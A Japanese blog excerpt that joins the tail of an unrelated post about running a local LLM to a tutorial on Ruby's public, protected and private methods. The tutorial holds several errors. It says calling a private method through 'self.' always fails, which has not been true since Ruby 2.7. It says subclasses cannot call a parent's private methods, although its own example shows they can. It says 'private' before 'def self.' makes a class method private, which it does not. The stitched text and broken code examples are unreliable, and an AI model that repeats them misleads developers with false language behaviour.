今回、ローカルでのLLM構築自体はそれほど難しくなく、インストールからデプロイまでなんとか進めることができました。しかし、PCのリソースが不足していたため、実用的な速度での応答は難しいという結果に。

今後はもっと軽量なローカルLLMがないか探してみようと思います。最終的には、LLMやRAGをすべて自作で賄うのが目標です。ただ、よく考えると、もし自分でLLMをうまく作れるようになったら、RAGは必要ないのかもしれませんね。

---

これが私のローカルLLM体験談です。興味のある方はぜひ試してみてください。
メソッドの公開レベル

Rubyにおけるメソッドの公開レベルには、public、protected、privateの3種類があります。それぞれメソッドへのアクセスを制御するために使いますが、特にprivateメソッドを指定する際にはいくつかの注意点があります。
1. privateメソッドの基本的な性質
privateメソッドは、そのメソッドが定義されたオブジェクトの外部から呼び出すことができません。クラスのインスタンスメソッドの中でしか呼び出すことができず、レシーバ（オブジェクト）を指定することもできません。
```
class Example
  def public_method
    puts "This is a public method."
    private_method
  end

  private
  
  def private_method
    puts "This is a private method."
  end
end

e = Example.new
e.public_method   # "This is a public method." "This is a private method."
e.private_method  # エラー (NoMethodError)
```
public_method内でprivate_methodを呼び出すことはできますが、e.private_methodのように外部から直接呼び出すことはできません。

2. レシーバを明示できない（selfを使えない）
privateメソッドを呼び出すとき、レシーバを明示することができません。self.private_methodのようにレシーバを明示して呼び出そうとすると、エラーが発生します。
```
class Example
  def call_private_with_receiver
    self.private_method   # ここでエラーが発生します
  end

  private
  
  def private_method
    puts "This is a private method."
  end
end

e = Example.new
e.call_private_with_receiver  # エラー (NoMethodError)
```
これは、privateメソッドは現在のインスタンス（self）からしか呼び出すことができないためです。レシーバなしでprivate_methodと直接呼び出す必要があります。

3. サブクラスでも呼び出せない
privateメソッドは、そのクラス内でのみ呼び出し可能であり、サブクラスでも直接呼び出すことができません。親クラスのprivateメソッドは、サブクラスで直接アクセスすることはできません。
```
class Parent
  private
  
  def private_method
    puts "Private method in Parent"
  end
end

class Child < Parent
  def call_private
    private_method   # エラーは発生しないが、外部からは呼べない
  end
end

child = Child.new
child.call_private  # "Private method in Parent"
child.private_method # エラー (NoMethodError)
```
サブクラスから呼び出しているように見えますが、これはサブクラスが親クラスのコンテキストで動作しているためです。サブクラスが直接そのprivateメソッドにアクセスするわけではありません。
4. アクセス修飾子の書き方に注意
Rubyでは、privateアクセス修飾子を定義する場所に注意が必要です。private以下に書かれたメソッドはすべてprivateとなるため、意図しないメソッドがprivateにならないように注意する必要があります。
```
class Example
  def public_method
    puts "Public method"
  end
  
  private
  
  def private_method
    puts "Private method"
  end
  
  def another_private_method
    puts "Another private method"
  end
end

e = Example.new
e.public_method          # "Public method"
e.private_method         # エラー (NoMethodError)
e.another_private_method # エラー (NoMethodError)
```
privateの後に宣言したメソッドは全てprivateになります。もし特定のメソッドだけをprivateにしたい場合は、個別に明示することもできます。
```
class Example
  def public_method
    puts "Public method"
  end
  
  def another_public_method
    puts "Another public method"
  end
  
  private :another_public_method
end
```
5. privateメソッドのユースケース
privateメソッドは、クラス内部での実装の詳細を隠蔽するために使います。外部に公開する必要のないメソッドや、クラスの内部処理をまとめるための補助的なメソッドをprivateにすることが一般的です。

6. 例外：クラスメソッドの場合
privateメソッドはインスタンスメソッドに適用されますが、クラスメソッドをprivateにする場合はprivate_class_methodを使います。

```
class Example
  def self.public_class_method
    puts "Public class method"
  end
  
  private
  
  def self.private_class_method
    puts "Private class method"
  end
end

Example.public_class_method         # "Public class method"
Example.private_class_method        # エラー (NoMethodError)
```
クラスメソッドのアクセス制御は、クラスメソッド専用の書き方が必要です。

まとめ
privateメソッドは、そのクラス内のみで使用でき、外部からのアクセスを防ぐための手段です。
レシーバを明示することはできないため、selfを付けて呼び出すことはできません。
privateメソッドはサブクラスからも直接呼び出すことができません。
privateの適用範囲に注意して、必要なメソッドだけがprivateになるように設計しましょう。
これらを理解して正しく使うことで、クラスの設計がより堅牢になります。